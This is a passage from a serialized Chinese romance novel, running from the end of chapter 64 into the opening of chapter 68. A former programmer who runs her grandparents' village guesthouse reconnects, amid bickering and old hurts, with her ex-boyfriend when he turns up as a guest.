她比自己想象中的平静,大概是乍然重逢本该会有的紧张和错愕,在一次次的怀疑中被钝挫消磨,以至于反而让她生出“还真是王衎”的认命感。 她把灯罩重新装回去,“可以了,其他还有什么问题吗?” 王衎没说话,不知道是在生气还是怎样,他们之间的对视没有留给她足够观察的时间。方敏周就当他没有事了,点头示意后离开,人都走到门口了,王衎喊住了她:“等下。” 方敏周停步,回以等待客人下一句话的礼貌态度。 “有没有什么吃的。” 关阳不由得皱起眉头,这人到底怎么回事,刚才在车上明明说自己不要吃的。 “抱歉,这个时间点我们已经不提供晚餐了。”方敏周说。 “随便煮点就行。” 王衎说完,拉开了地上行李包的拉链,态度随意到让关阳就要上前一步想要同他理论,被方敏周一眼制止,憋屈地把气咽下去。 “冰箱里还有面条、馄饨和饺子,可以吗?其他的目前就不太方便了。”方敏周公事公办,就当自己遇到恶宾。 王衎抬头看过来,“面条就行。” “好的,那麻烦你迟一点到楼下餐厅用餐,大概十五分钟。” “不能送餐到房间里吗?” 关阳刚要不耐烦插嘴,方敏周先说了:“我们没有送餐服务,但你可以自己端到房间里吃。” 王衎盯着她,始终面无表情的那张脸扬了扬,似笑非笑的:“好的,我等会下来。” “谢谢理解。”—— 作者有话说:今天没有加更哈,之后有加更的话会一起发出来,没有的话就是没有了(逃跑 第65章 第 65 章 王衎到餐厅时,贺温…… 王衎到餐厅时, 贺温纶还在,坐在厨房一旁的吧台上同方敏周聊天,聊方敏周的头发:“……所以看到你的时候差点没认出来。” 方敏周笑笑, 在家半年, 她的头发正好长过了尴尬期, 年初改成了蓝色的发尾染, 现在蓝色褪去, 是一种类似闷青的颜色。 她把重新添满水的玻璃壶放在吧台上,同无声走过来的王衎对上视线。 他下来得太早,几乎和她前后脚, 方敏周面都还没有开始煮,还是微笑着点头致意, 而王衎一言不发地拉开贺温纶旁边的高脚椅。 两个人是两个点,一条直线, 一人一端, 松紧任意, 三个人就变成了一个稳固的三角形。 贺温纶见到王衎来了, 转而谴责他言行反复, 怎么好意思还麻烦人家给他单独开小灶, “我就自己加热了两个野菜团子吃。” 王衎瞥了眼贺温纶面前的空盘子,“那你吃完了还不洗碗?” 贺温纶笑骂了王衎一句,“诶对了, 介绍一下,这位就是刚才车上我和你说的那位朋友, 方敏周,之前在大厂做程序员。”又对方敏周说,“这位就是我的合伙人, 也是我大学的学弟,王衎,他的这个‘衎’是个生僻字,‘行走’的‘行’中间加个‘干活’的干,听起来天生就是要做我们这行的。” 双方打了个招呼,方敏周说:“这个字确实很少见。” 王衎忽地笑了下,只是那笑意味不明,硬要说的话,方敏周觉得是某种嘲笑。 她回到厨台前,把打散的土鸡蛋倒入锅内,“刺啦——”,鸡蛋被油煎得滋滋作响,香气四溢,方敏周却有点愣神,搞不懂她怎么就真的给王衎煮面吃了?凭什么?这么一想,她又冷静下来了,提醒自己,现在她是店家,王衎是住客,不要带入私人情绪。 她往锅内倒入开水,没有回头,也跳过称谓,直接问:“有没有什么忌口的?葱姜蒜都能吃吗?” 其实她知道这个问题的答案,但既然他们“不认识”,加上还有他人在场,她自然得问一些该问的问题,而且,人的口味是会变的。 人的性格也会变,王衎变了,她也变了。 没听到回答,方敏周以为是自己声音太小,就又问了一遍,还是没听到回答,她只好回过头。 餐厅的灯光是暖黄色的,温馨舒适,但王衎神色冷淡,像是在打量她,又像是眼里没她,以为自己是块冰块一样傲慢。 说实话,方敏周不知道王衎现在是什么情况。 是贺温纶和他说了什么,还是他从车上的那通电话听出了她的声音?然后刚才特意躲起来确认? 方敏周觉得这很可笑,不禁想万一他是突然看到她,会露出怎样的表情。 沉默略久,贺温纶奇怪地看了旁边的王衎一眼,替他回答:“可以,他没忌口的。” “好的。”方敏周只需要一个答案。 金黄色的蛋花汤沸腾起来,咕噜咕噜地冒泡。 “你咋了,不舒服?”贺温纶问王衎。 “没事。”王衎低声。 贺温纶心里纳闷,直觉今晚不宜再和王衎说话,起身端着盘子走进厨房,方敏周说放着就行,他说没事,拧开水龙头把盘筷洗了。 王衎看着眼前的这两人,一人煮面一人洗碗,画面好不和谐。 擦干手,贺温纶倚在一边看方敏周忙碌。她把头发扎成了低马尾,短短的一簇,穿的短袖休闲裤,比他印象里那位都市白领多了一点随性。 重逢本是一件很浪漫的事情,像这样偶然意外的再遇,如果换个对象,贺温纶一定会有许多暧昧心思,但方敏周是杯淡蜂蜜水,加上他很清楚自己和她无法再进一步,即使尝试,大概率也不会有什么好的结果,所以一些旖旎的念头百转千回,最终绕为单纯的好奇。 “你什么时候辞职的?” “去年十月份左右。” “为什么?” “我妈妈生病了,然后我也想要休息一段时间。” 方敏周还是很直率,贺温纶喜欢和她聊天:“然后就一直休息到现在?” 方敏周一笑:“是啊。” “阿姨身体还好吗?” “嗯,已经没事了。” 面好了,贺温纶帮忙端到王衎桌前,示意他快吃,然后继续同方敏周说话,得知她还会在双溪镇住一段时间,“那到时候我们在村子里搞活动,你感兴趣的话也可以来玩。” “好啊。”方敏周说,实际她不感兴趣。 “民宿是Joyce订的,真没想到这么巧。” 贺温纶说到这,方敏周想起来了一件事,“哦对了,Joyce他们问我们是怎么认识的,我说是因为朋友的生日。” 贺温纶一愣,开玩笑道:“那完了,在车上的时候我说漏嘴了,我说我们是朋友介绍,不过也差不多?当时也就是交个朋友嘛。” 说完,看了眼王衎,发现他靠着椅背,似乎筷子都没动一下,贺温纶诧异:“你怎么还没吃?面都要坨了。” 王衎一副好整以暇看戏的模样,那神情在方敏周看来,似乎是把她和贺温纶当作台上的演员,“你们聊完了没,我想安静点吃饭。” 贺温纶目瞪口呆,他先看了眼方敏周,见她似乎也只是意外,没有被冒犯的生气,才松了口气,随即佯怒:“王衎,你今天晚上怎么了,谁招你惹你了?” 王衎嘴角微动,拿起了筷子。 他倒是想问问,谁能心平气和地听前女友和其他男人一唱一和。 从在车上听见方敏周的声音起,他就觉得有蚂蚁从耳道钻进了他的身体里,一小口一小口地撕咬着他滞堵的血管。 王衎开始吃面了,贺温纶向方敏周道歉解释:“上车的时候就觉得他不对劲了,不知道什么情况,他平时不这样,你别介意。” 他说的小声,但第三人不可能听不见。 方敏周很体谅地说没关系。 贺温纶不可能真听王衎的话闭嘴,故意又和方敏周聊了一会,带过他们那一次见面后他的经历,包括和王衎的合作,问及方敏周的近况,得知她现在是自己在接项目,便说如果以后有机会帮她介绍客户。 方敏周当贺温纶是说真的了,她觉得自己也的确像是在演戏。 贺温纶挑衅王衎挑衅够了,问方敏周明天有没有空带他们在村子里逛逛。 方敏周应尽地主之谊,“可以的。” “那我先上楼了。”贺温纶又点王衎,“今天晚上麻烦你了,不好意思。” “没事。” 临走前,贺温纶意味深长地按了下王衎的肩膀,意思是让他有点礼貌风度。 餐厅里只剩下方敏周和王衎,这对方敏周来说,又是一个可以被形容为“终于”的时刻,但终于并非终点,结局之后还有续集。 在刚才微妙的对峙间,方敏周没有躲闪地接收到了王衎的恶意。他的矛既然刺过来了,她就得立起盾。 她本来想和他好好聊一下的,因为事已至此,接下来他们之间还有必不可免的正面交集,时过境迁,不可能还要吵吵闹闹。 她想,她有这么稳定的心态得归功于这几年工作的锻炼:遇到任何棘手特殊的事件,首先不能慌张,其次就要抓住重点、直面问题,但另一方面,方敏周现在有点疲惫,她还没想好要怎么开口,便先整理起厨房。 这一沉默,一切气氛包括她自己,都如同一颗无止境坠落的铅球,反水不收。 方敏周承认,内心深处更真实的自己在抗拒同王衎说话。 也正常不是吗? 要是王衎态度良好,她估计也能比较淡定,但他冷言冷语的,他的矛刺过来,她其实只想把刀举起来砍回去。 方敏周不知道其他情侣久别重逢是否也是这样,尴尬被难堪裹挟,想要怨恨又感到生疏,种种情绪混在一起,像一杯呕吐物。 他们当初分手分得的确不太好看,回首往事,方敏周记得自己曾经天真地认为,就算哪天她和王衎分手,他们也能继续做朋友。 那也许是一种爱的迷信。 她收拾好了厨房,只差王衎的碗,但久久等不到他吃完。 她有理由怀疑他是在有意刁难,方敏周想,大不了明天再洗好了,让王衎吃完记得把灯关了就行,这时候,王衎踩在她的耐心临界点站起来了。 他自己洗碗,她自然也不会去抢,结果又见他洗得磨磨蹭蹭。 水声不停,听得人心烦躁,方敏周眉头皱了又松、松了又皱。 好不容易再等到王衎把碗洗好,方敏周嘴张了张,觉得此时此刻说什么都白搭了,“碗放进消毒柜就可以,没事了的话,我就准备关灯了。” “你又不用问我意见了?” “……什么?” “你不是当我是客人吗?这个时候不应该问问我,觉得面条味道怎么样吗,合不合口味?” 王衎毫不掩盖他的讽刺,方敏周沉下脸,她看着他,更想问,他不这么说话是会死吗? 方敏周没想到王衎对她有这么强烈的不满,时隔多年,还能一点体面都不顾地发难。 当初明明是他提的分手,她都努力释怀了。 “怎么?”王衎冷笑,“你又要说我幼稚?” “面条味道怎么样,合不合口味?”方敏周一字未改地问道。 王衎的笑像一个顿号一样在脸上卡了一下,“和之前比没什么进步。” “这是认真的反馈吗?”方敏周回问,又说,“那下次你自己做吧,我们的厨房是开放的,客人也可以用。” 王衎被气笑了,逼近方敏周一步,“你故意的是不是?” “我故意什么了?” “你怎么没和我学长继续发展下去?” “你又凭什么问我这个问题?” 王衎耸耸肩膀,“凭我是我学长的合伙人,我关心。” “那如果我和你学长在一起了,你现在是不是得喊我一声嫂子?” “方敏周,你……”王衎咬牙。 方敏周微抬着下巴,毫不畏惧,忍着才没有把抹布扔到王衎脸上,“我什么?灯你来关吧。” 第66章 第 66 章 方敏周做了个梦,梦…… 方敏周做了个梦, 梦里是大一下学期的时候。 大一下可能是大学最美好的时光之一,适应了大学的生活又还是新生身份,城市由冬入春, 都是没见过的风景。 春暖花开的日子, 金莹兴致勃勃地买了漂剂打算自己漂头发, 但最好还是有人帮忙。孟雨君害怕, 罗佳自觉手笨, 只剩下方敏周,“……万一没弄好怎么办?” “没事!” 最后效果还不错,有一点点花, 但金莹不在意,“其实我觉得自己染头发挺好玩的, 而且如果去店里弄要坐好几个小时,我上回坐得屁股都疼了。” 方敏周的确有点意犹未尽, DIY染发的整个过程, 有点像童话书里的女巫在熬制变色魔药。 她听从金莹的建议穿了一件旧T恤, 果不其然染上了紫色染剂。她把斑驳旧T恤泡进水里、倒入漂白粉, 过了一周, 重新穿上这件衣服, 换金莹帮她染发。 方敏周没那么大胆,黑发直染又想显色,最后在金莹的建议下选了一款酒红色的染膏, 尽管她不是很喜欢这个颜色,但金莹说这个颜色在室内光线比较暗的地方看不出来, 只会在阳光下泛红。结果不知道是染剂的问题,还是等待时间过长,又或者是她发质的原因, 方敏周洗出了一头明显的红发。 金莹直呼漂亮,方敏周却欲哭无泪,太张扬,和她的整个人格格不入,而下一周她约好了要和王衎见面,完蛋了。 她都想叫王衎别来了,但编不出合适的理由,还怕打破他们难得维持了好几个月的不吵架记录;想去理发店染黑,被金莹极力劝阻,说那一定是会让她更后悔的决定,“你就是不习惯,过几天就好了。” 她只好出门上课都戴了个帽子藏着,但大家都夸好看,方敏周自己也别别扭扭地看顺眼了,最后还是决心以新面貌去见王衎。 但帽子不能少,另外把头发编成了两条麻花辫。 他们约在湖边碰面,王衎先到了,方敏周远远地看到他站在一棵柳树下,白衬衫牛仔裤,好不悠闲地看湖看鱼。 在她向他走过去时,他心有所感地看过来,咧嘴一笑,朝她挥手,手臂摇得比岸边漫天的柳条还飘荡,但等她走到他面前,方敏周就见王衎表情古怪,上上下下打量了她一番不够,不认识主人的狗似得,还围着她绕了一圈。 春天的阳光暖烘烘的,方敏周的脸在这三百六十度的环视下涨红了。 “哈哈哈——”王衎突然大笑起来,伸手摘掉了她的帽子。 方敏周羞恼地推了他一把,王衎猝不及防,一个踉跄差点掉进湖里去,方敏周也吓了一跳,好在他反应极快地稳住了平衡,紧接着一把搂住了她,一副要死一起死的架势,“不就是摘了下你的帽子吗?谋杀亲夫啊。” 后半句话贴着方敏周的脸,说得黏糊糊的,方敏周尚且心有余悸,但还是忍不住瞪他:“你笑什么?” 王衎的注意力已经完全被方敏周的红辫子吸引了,垂着眼玩其中一条的发尾,心不在焉:“嗯?” 方敏周挣开他,王衎“诶”了声,轻拽住方敏周的辫子,“怎么了?” 方敏周头一甩,把头发夺回来,“有什么好笑的?” “我就是觉得很好看啊。”王衎单纯地眨眨眼睛,一只手护在嘴边作喇叭状,“方敏周居然会染头发——” 虽然音量压得很低,是故意捉弄她,方敏周还是紧张得上前一步要捂住王衎的嘴,王衎笑着躲闪,反过来把她的手牢牢握在手心里。 湖边人说多不多、说少不少,方敏周没脸在大庭广众之下和王衎拉拉扯扯,换成她躲,但柳絮飘飘,先猝不及防地打了个喷嚏,整个人都懵了一瞬,又把王衎乐得不行。 闹够了,他拉着她在旁边的长椅坐下,“你怎么突然染头发了?搞惊喜啊。” 方敏周摸了摸鼻子,瞟他:“没成惊吓就行。” “不会啊,我说真的,挺好看的,像小美人鱼。”王衎说,“你这什么表情,小美人鱼不是红色头发的吗?啊不行,小美人鱼最后没有和王子在一起。” 方敏周:“……” 论一个故事会有多少版本又有多少解读。 方敏周向王衎科普,小美人鱼真正的愿望是要做天使,王衎听了,又好像没认真听,同她讨论还有哪些角色是红色头发,“我总不能说你像樱木花道吧。” “……你能不能闭嘴。” “我倒是可以去染个红头发,那我们就是情侣发色了。” 很甜蜜的回忆,方敏周在梦里一直是笑的,可惜梦境的最后突然毫无预兆地颠乱,变成了现在的王衎对现在的她说,她的头发很丑。 方敏周醒来后回想,大概是昨晚王衎的刻薄令她感到陌生,因为无论是高中他们互相看不顺眼的时候,还是后来频频吵架的时候,即使是最后分手的时候,他也只是疲倦,没有那么冷漠的表情。 方敏周有点感慨,这么久没见面还会这样,之前有意无意错过了那些高中聚会未尝不是好事。 起床拉开窗帘,今天是个暗沉的阴天,想到答应了贺温纶要给他们当导游,方敏周不禁有点后悔。 来双溪镇的第一站往往都是双溪水库,可以走徒步小环线,难度不高,全程两个小时不到,但贺温纶一行人没有准备,所以吃过早饭后,方敏周借了隔壁家的商旅车,开车带他们直接到了观光点附近。 她旁边坐得容易晕车的Joyce。 水库远眺呈躺着的月牙形状,蓝汪汪的像块宝石,春末夏初,山里的气温又偏低,站在大坝上,风劲强爽,吹过来很舒服。 这儿已经是村子里比较成熟的地标点,包括停车场、观景台和周边绿道在内的公共设施,都有设计师因地制宜地考量过,那是方敏周高中时候的事情。她知道世界日新月异,但当时的她不知道自己的外婆家也会有这么大的变化,而一个乡村的发展是以年为单位来计量。 观景台像一座桥,横跨水面,很自然地融进群山青竹间,方敏周看到王衎和贺温纶驻足着聊天,像是在讨论观景台的设计。他们是学建筑的,估计能看出更多门道。 说起来,方敏周没有想到王衎真的回去继承了家业,虽然大学那会他说过此类玩笑话,但她知道,他很认真想要成为厉害的建筑师。 方敏周还问过他为什么,以及什么时候开始对建筑感兴趣的。 王衎模仿起说书人的腔调,忽略他的耍宝,他是说,大概是小时候旅游时所见到那些名胜古迹让他印象深刻,他爸带他来水库钓鱼,他也会被水库的工程震撼,觉得很了不起,也想做点了不起的事。 方敏周好像从来没有和王衎说过,她曾经算是“嫉妒”过他:嫉妒他有喜欢并为之努力的事业,嫉妒他可以心无旁骛地追求梦想。大学的时候她孜孜不倦地试图寻找自己的热爱,其实也是有受到他的影响。 在王衎视线看过来前,方敏周若无其事地先撇开目光。 但他还记得吗? 水库附近有露营点,不过他们没带东西,所以到了饭点,方敏周带他们到附近一家农家乐吃饭。期间,王衎制造了一点事端:掉了双筷子。服务员在忙,方敏周帮他换了一双。 吃完饭开车回民宿,之后就是自由活动了。 “晚上戏社有木偶戏表演,如果有兴趣的话,吃完晚饭我带你们过去。”方敏周说。 众人纷纷应和,其中没有王衎,方敏周也不在意。 下午趁着还没下雨,外婆在院子里用木桶烤炉给大家烙饼吃,虽然厨房有电饼铛,但外婆觉得还是老式烤炉烤出来的饼香。 外公一直想把后院的老谷仓改一下,听说住客的后生是行内人,把自己的想法问出来,主要是贺温纶答,王衎偶尔会补充几句。 说得煞有介事,方敏周在一旁给外婆打下手,一想到这么多人里只有她知道王衎高中的时候是什么德性,就觉得整个场面非常滑稽。 她去洗手,和王衎撞在一起,两个人互看了对方一眼,王衎往旁边退了一步,让她先。 关阳看到这一幕,心里有点不是滋味。 上午他们去水库,他本来也想去,他可以开车,但隐隐约约觉得自己不会被欢迎,敏周姐和他们都是大人,是朋友,他还在被当作小孩。 天空飘起小雨。 民宿在村子地势偏高的地方,门口有一段坡道,活动中心在村委会旁边,隔着一条浅溪。 雨下了没多久,傍晚时分便停了,一行人走到戏社,吸足了湿润沁人的空气。 方敏周小时候看过一次木偶戏表演,时隔多年记忆已然模糊,就记得个幕布画面。今晚的演出是从邻市请的表演团,节目也是面向的小朋友,森林之王纷争之类的戏码,但活灵活现的,对成年人来说也很有趣。 最后观众互动环节,关阳和Joyce都有被挑上台,但Joyce不好意思,换了熊熊上去,方敏周坐到前排空出来的位置帮他们录像。 戏社是村子历史最悠久的建筑,几年前翻新过,承接了村史馆的功能。演出结束,观众们一般都会留下来再参观一圈。 方敏周陪Joyce去卫生间,她在外等,抬头看一旁墙壁上的剪纸画。 木雕窗门隔开室内和天井,靠墙的架子上摆着青瓷瓶,里头插着的松枝竹叶疏密有致,相互映彰,底部还有几朵蝴蝶兰点缀。 方敏周听见了外头贺温纶的声音,“她前男友也是学建筑的,说是因为异国分手,然后也说性格不合,虽然我也不知道她前男友什么性格。” 安静。 贺温纶再开口,带一丝揶揄:“说真的,你对人什么想法?我帮你们认识一下?” 过了几秒,是王衎的声音,“你还要怎么帮忙认识,不是已经认识了吗?” “诶,所以你这话的意思……”贺温纶兴奋起来。 “我的意思是,不用了,不是我喜欢的类型。” 方敏周垂眼看了看自己的鞋尖,再抬起头,无声地扯了扯嘴角。 “没意思?没意思那你刚才干嘛一直盯着人看?” “看了就代表喜欢吗?” 再度安静。 “王衎,你别装,好歹我们也认识这么多年了。”贺温纶说,话锋一转,“你别是误会我啊,我们俩就真的只是吃了一顿饭而已,而且一见面就知道没戏,就随便聊了聊。” 王衎听得心烦,不想再说,转过身。 透过窗格,他看到方敏周的眼睛。 第67章 第 67 章 假装自己没…… 假装自己没听到已然来不及, 不过方敏周也没想假装。 竹叶在微风里轻晃,灯光幽静,搅动着王衎的脸色, 像一池变幻莫测的池水。 方敏周想到很多年前高中的那个傍晚, 彼时光线更暗, 她看不清王衎的表情, 也许和现在的差不多。方敏周感到奇怪, 这会儿背地里议论人的可是他自己,怎么还忿忿不平的。 她微微笑了笑,重新去看墙壁上的画。 “我好了。”Joyce从卫生间里出来, 顺着方敏周的视线夸了句“这画不错”,余光瞥见窗后有人, “诶,老板们好。” 贺温纶听见声音看过来, 脸瞬间僵了, “……你好你好, 都在啊。” 这下方敏周才略有意外地挑挑眉, 装出没注意到他们的样子, 然后说:“还要再看看吗?” 没听到? 贺温纶又觑了眼王衎, 莫名其妙一脸阴沉,合着只有他一个人心虚。 “差不多回去吧。”贺温纶暗暗挺直腰板。 回民宿的途中大家聊天,三三两两, 方敏周走在前头带路。 Joyce和熊熊明天要抢某歌手下个月在江城的演唱会门票,虽然抢到的概率很低, 但重在参与。 她们问其他人要不要一起,老魏摆手,说他对这个歌手有阴影, 被问为什么,他说,因为之前大学的女友很喜欢这个歌手,有一次陪她去看演唱会,结果两个人吵架,演唱会结束就分了手。 “真的假的?” “真的啊。” “那是你们本来就有矛盾了吧,我看很多人都会在他的演唱会上求婚诶。” 老魏叹了口气,“也是吧。” “所以你现在不会都不听他的歌了吧?” 冒着被嘲笑的风险,老魏点了头。 Joyce和熊熊“哎哟”地叫起来,说这表示老魏还是没忘掉这位前任。 老魏不得不郑重澄清:“就是有阴影,那个叫什么,PTSD,一听到他的歌,就会想起来当时吵架的画面,受不了。” Joyce和熊熊异口同声:“渣男。” 贺温纶也笑起来。 “我这怎么就渣男了?”老魏替自己叫屈。 “你前女友才有阴影好吧,好好地看完演唱会正高兴着呢,却分手了。” 老魏愣了下,又说:“还好吧,她提的分手。” “然后你就同意了?” “……” “人家可能就是说气话,你也不去挽留一下。” 具体的情况这些人不知道,烂芝麻破谷子的事,老魏也不想再说,“我看她后来还是有去看这位的演唱会。” “你怎么知道?一直关注着呢,你这位前女友长什么样啊,说不定这次演唱会我们还能碰上。” 老魏被糗到有了脾气,啧了声,“大学同学好吧,总还有点联系。” “开玩笑的啦。”Joyce给老魏下了个台阶。 熊熊注意到旁边的关阳,惊觉这里还有个刚成年的小男孩,“弟弟,你不要被这位老大叔吓到,和女朋友去看演唱会是很美好的事情。” 关阳不好意思地点了点头。 老魏冷笑,“你们都和男朋友去看过?” “看过啊。” “那现在不还都分手了?” “……” “你不要偷换概念好不好?分手是后来的事情,不影响看演唱会。”熊熊说着,左右看看,拉上方敏周撑腰。 方敏周但笑不语。 “那都分手了再想起来不觉得尴尬吗?”老魏又说。 熊熊气得想要过去掐老魏的脖子了,而老魏不甘示弱,让大家举手表决,和前任去看过演唱会的举手——方敏周在迟疑,不知道是否需要参与,而已经举起手的贺温纶看了眼不为所动的王衎:“你没有?” 王衎被点名道姓,也就举了举手。 只有关阳浑身不自在,手始终插在裤兜里。 “好,那下一个问题。”老魏说,“现在回忆起来还觉得很美好的举手。” 三个女生和贺温纶都举了手,老魏输了,但得到了王总的一票,也心满意足。 贺温纶不由得问王衎:“你怎么,也吵架了?” 没想到王衎笑了笑:“是啊。” 其他人眼里顿时冒出听见八卦的精光,但面面相觑,想问又不敢问。 走过树下,有一滴积水落在了方敏周脸上,冰凉凉的。 贺温纶瞄向方敏周,对她有没有听到戏社里他和王衎的话存疑,这会儿想要调侃王衎也不好细问。他只听说王衎大学的时候有一个感情很好的女朋友,两人异地但常常见面,这说出来,也不知道是给他加分还是减分。 “然后就分手了?”熊熊胆大,追问了一句。 虽然王总平时话少沉默,但他们是做活动策划的公司,大家年龄相仿,彼此相处还是比较自由平等的。 毕竟谁大学的时候还没场无疾而终的恋爱?上辈子的事情了,聊一聊也没关系。 “没。”王衎语气平平。 “那为什么吵架?” “她太忙,中途被别人叫走了。” 几个人“哦”了声,各有领会。 王总自己是工作狂,所以前女友也是,也不奇怪。 情侣之间吵架除了原则性问题,其实无外乎都是一些小事,问到这,熊熊也够了,转而问老魏:“你呢,为什么吵架?” 老魏想了想,“忘了。” 被熊熊翻了个白眼。 他们走在桥上,两侧溪水潺潺,盖过了稻苗抽穗扬花的声音。方敏周望着前方,悄悄深呼吸了一口气。 回到民宿,外婆煮了雪梨银耳汤,王衎说他要先去洗澡,过了会,其他人都喝完了,还不见王衎下来,外婆要端上去,方敏周说:“我来吧。” 敲门。 没开。 再敲门。 门被打开。 王衎穿着白色的浴袍,头发微湿,看见她,怔然从脸上一闪而过,然后眉头微动,意思很明显:不是没有送餐服务吗? 但还是伸手去接托盘,方敏周没有顺势递过去,“方便让我进去吗?” 这下王衎明显愣了愣,再开口,笑意不明,“不合适吧,现在我屋里没有东西需要维修。” “我有话想和你说。”方敏周坦然道。 王衎认真地看了看方敏周,侧身让她进来。 方敏周把托盘放在茶几上,然后在一边的单人沙发坐下。王衎关上门,走过来在长条沙发上坐下,拿起勺子,先喝了口甜汤。 “味道怎么样,合不合口味?”方敏周问。 这话带着点嘲讽,她承认。 “不是你煮的不是吗?挺好的。”王衎说,“你要说什么?” 他直接,方敏周也开门见山了,她本来也就是带着解决事情的态度来的,“演唱会的事,我应该再和你说声抱歉,我不知道你还在介意。” 她记得,他们吵架不单单只是因为她有事中途离场。 大二国庆假期后,王衎喜欢的歌手官宣巡演计划,第一站就在北城。 那是他们约定之外的见面时间,但事出有因,电话里,王衎小心但期待地问她要不要一起,门票他买,“不过如果你不想去也没事。” “可以啊。”方敏周说,“我也喜欢听他的歌。” “哦我懂——”王衎一下子得意起来,“爱屋及乌嘛。” “什么啊。” 日常地讨骂,虽然他说得没错。 比起演唱会本身,她主要是为了陪王衎,她也不需要他包揽费用。门票价格虽然有点贵,但还在她的承受范围内,她更担心的是没有时间。 大二开学推荐评选奖学金后,方敏周更深刻地意识到自己和同学的差距,她开始参加一些项目和比赛,而演唱会的时间正好是一个商赛初赛的尾声阶段。不过那时候,计划书理应已经被提交,方敏周觉得问题不大。 后来有天深夜,王衎发来一条购票链接,留言“记得抢”。 第二天早上方敏周醒来看到后回了句“好的”,没有点开仔细看,先赶着去上课。下午王衎问她有没有抢到时,方敏周才知道那是当天就要抢的票,她没抢,而王衎没抢到。 方敏周很不好意思,王衎说她不感兴趣的话,“我真的可以一个人去,我又不是小孩子”,方敏周说她是想去的,只是最近太忙了,最后王衎从黄牛那边买了票。 方敏周再回想起这件事,觉得自己那时候或许就不应该承诺,但要是真的不去,也未必不会引起其他的争吵。 本质上,虽然王衎表现得善解人意,但他还是想和她一起的,方敏周也是想的,而且于情于理,她都不可能让王衎一个人去。 为了空出演唱会的时间,演唱会前的一周她都在加急完成任务,但演唱会中途,还是收到了卓睿卓学长的信息,其他人处理的数据有问题,真的能做事人手不够,她不得不赶回学校帮忙。 那次比赛本来就是学长人好,愿意带她还有其他的低年级。 方敏周觉得王衎应该能理解她,但王衎不能,他们就吵架了,后来又和好了。 喜欢一个人,或许会在不知不觉间心动,但分手的原因,却总是有迹可循。 方敏周觉得她和王衎的恋爱好像一种双人游戏,中间遇到了问题,于是存档、复活,可就是一直没有通关成功,在又一次失败后,王衎选择了退出。 对他可能是Game Over,对她是Bad Ending。 方敏周以为先退出的人是不会像她一样迟迟仍在记恨的。 王衎放下了筷子,他侧对着她,好一会儿,嘴角微动,问过来:“你就是要和我说这个?” “因为,我看你刚才没举手。” “我只是实话实说,不代表我还在介意。”王衎盯着她,沉沉的目光刺着尖锐,“你呢,你真的觉得美好吗?” 方敏周望着王衎,可能是刚做过梦,他年少时的模样此刻清晰地出现在她的脑海中。 他的脸型、五官甚至发型的变化都不大,但褪去了青涩,褪去了亮晶晶的笑眼,当他们不再相爱,现在的王衎和过去的王衎,还是同一个人吗? 方敏周忽地笑了笑,像是无伤大雅的谎言被戳穿后一样,稍微有点不好意思:“确实不是很美好,但我不想惹话题,所以还是举了手。” 王衎身上压抑的怒意裂了一条缝,那缝隙不可控制地长出枝杈,变得狰狞,“你自己心口不一,反而觉得我没举手是还在介意,那如果我举手呢?” “抱歉,是我误会了,你没介意了最好,我是想说——” 方敏周没有被激怒,既然开了口,她就打算把事挑明了,有些话她也在心底压了很多年。 时间过得真快,他们分开的时间都比正式在一起的时间长了。 “分手之后我有想过,我总是说你幼稚冲动,但我也有一些做的不太好的地方,比如比较要强,也不是很温柔体贴,老是管你这管你那的,我们吵架也一直都是你来找我和好。”方敏周慢慢地说着,“所以很多时候,其实是你在迁就我的情绪,但我自己没有意识到,包括最后你要分手,可能也是因为我又不小心失约了,这点我需要和你道歉。” 她应该坦荡,却免不了还是有些许忐忑,也许是因为旧事难提而沉疴难消,“我还会在这里住一段时间,你应该也不会因为我不来双溪办活动,而且我们之后可能还会在别的地方碰到,可以的话,我们尽量和平相处?” 王衎难看的脸色告诉了她答案。 方敏周奇怪,他真的有这么恨她?她有给他留下过这么深的伤害? 她退了一步:“如果不行也没事,那之后没有必要的事,我不会主动找你,你可以放心。””放心……”王衎噙着冷笑重复了一遍这个词语,“方敏周,原来你演技这么好,还是说,你演技一直很好?” 方敏周听出了王衎的言外之意,她平静地回答:“我是说认真的,我没有想再和你吵架。” “你凭什么觉得我还能和你好好相处?”王衎冷声。 方敏周握了握手,指甲抵着掌心,“不能就算了。” 她也没有强求。 “行,我知道了,我会把你当陌生人的,你也可以放心。” “我不是这个意思。”方敏周听到王衎这么阴阳怪气地说话就烦躁,她不想再被他误解,“现在的情况,在我外公外婆还有你的同事面前,我们可以继续装作不认识,但以后,比如同学会,我们可能还会再见面,你也要像现在这样让我看脸色吗?还是说,你会永远避开我?我是觉得,我们没必要弄得像仇人一样。“ 王衎凉凉地说:“我做不到像你这么大方,可以和相亲对象当朋友,也可以和前男友当朋友。” “你说话不用这么难听。” “这就难听了吗?” “或者你告诉我你还在生气什么?我可以向你道歉。” “我少你一句道歉吗?”王衎戾气不减。 一句又一句的反问,方敏周积蓄的耐心和好脾气彻底告罄,“你要这样我也没办法,那随便吧,我还以为这么多年过去,你至少能有一点进步。你之前问我是不是又要说你幼稚,我现在回答你,是的,你还是很幼稚。” 说完这通话,看到王衎额头青筋暴起而哑口无言只能咬紧牙关的模样,方敏周感到异常的畅快。 她是口是心非,她也不是大方的人,是啊,她为什么要和他好好相处?她曾经气他气的要死,可是……她以为自己真的放下了,她应该放下的。 民宿的单人房面积也不小,类似于单人公寓,宽敞明亮的房间里,沉默突如其来。方敏周看着茶几上的银耳汤,外婆糖放得很少,她鼻间闻到的是王衎身上沐浴露的气味。视线没有交汇,一切无处遁藏。 良久,王衎开口,语气出乎意料的温和:“方敏周,你早应该这么说的,这才是你的真心话。” 她说得多好,每说一句话就像朝他丢一块石头,把他砸得像一条不敢叫的狗。 方敏周重新看向王衎,感到某种世事无常:为什么他们之间会变成这样? “我先提分手,你是不是有种终于解脱了的感觉?” “是。” “是吗?”王衎淡淡地笑了笑,“说出来你可能不信,我当时是觉得,我们分手对你来说是件好事。” “确实,看来我不应该向你道歉,我应该和你说声谢谢。” “不客气。”王衎回,“所以这几年你过得怎么样?” “挺好的。” “那就好。” “你呢?” “我也挺好的。” 方敏周点点头,“当初在一起就是个错误,我都和你说了,不要追我。” 王衎笑出了声。 气氛陡转直下,竟然变得风平浪静。 最后王衎喝完了那碗银耳汤,方敏周端起托盘离开,打开门迈出去前,她听见身后王衎低低地说了声“对不起”。 第68章 第 68 章 成长环境单纯友好又…… 成长环境单纯友好又被良好教育的小孩, 是非对错分明,并天然地以为自己是善的一方,当人性的阴暗面不可避免地苏醒, 下意识地也会先找借口辩驳, 再用理性约束自己的行为和想法。 有好有坏, 方敏周总是在事后, 才敢于直面自己的“虚伪”。 高中的时候, 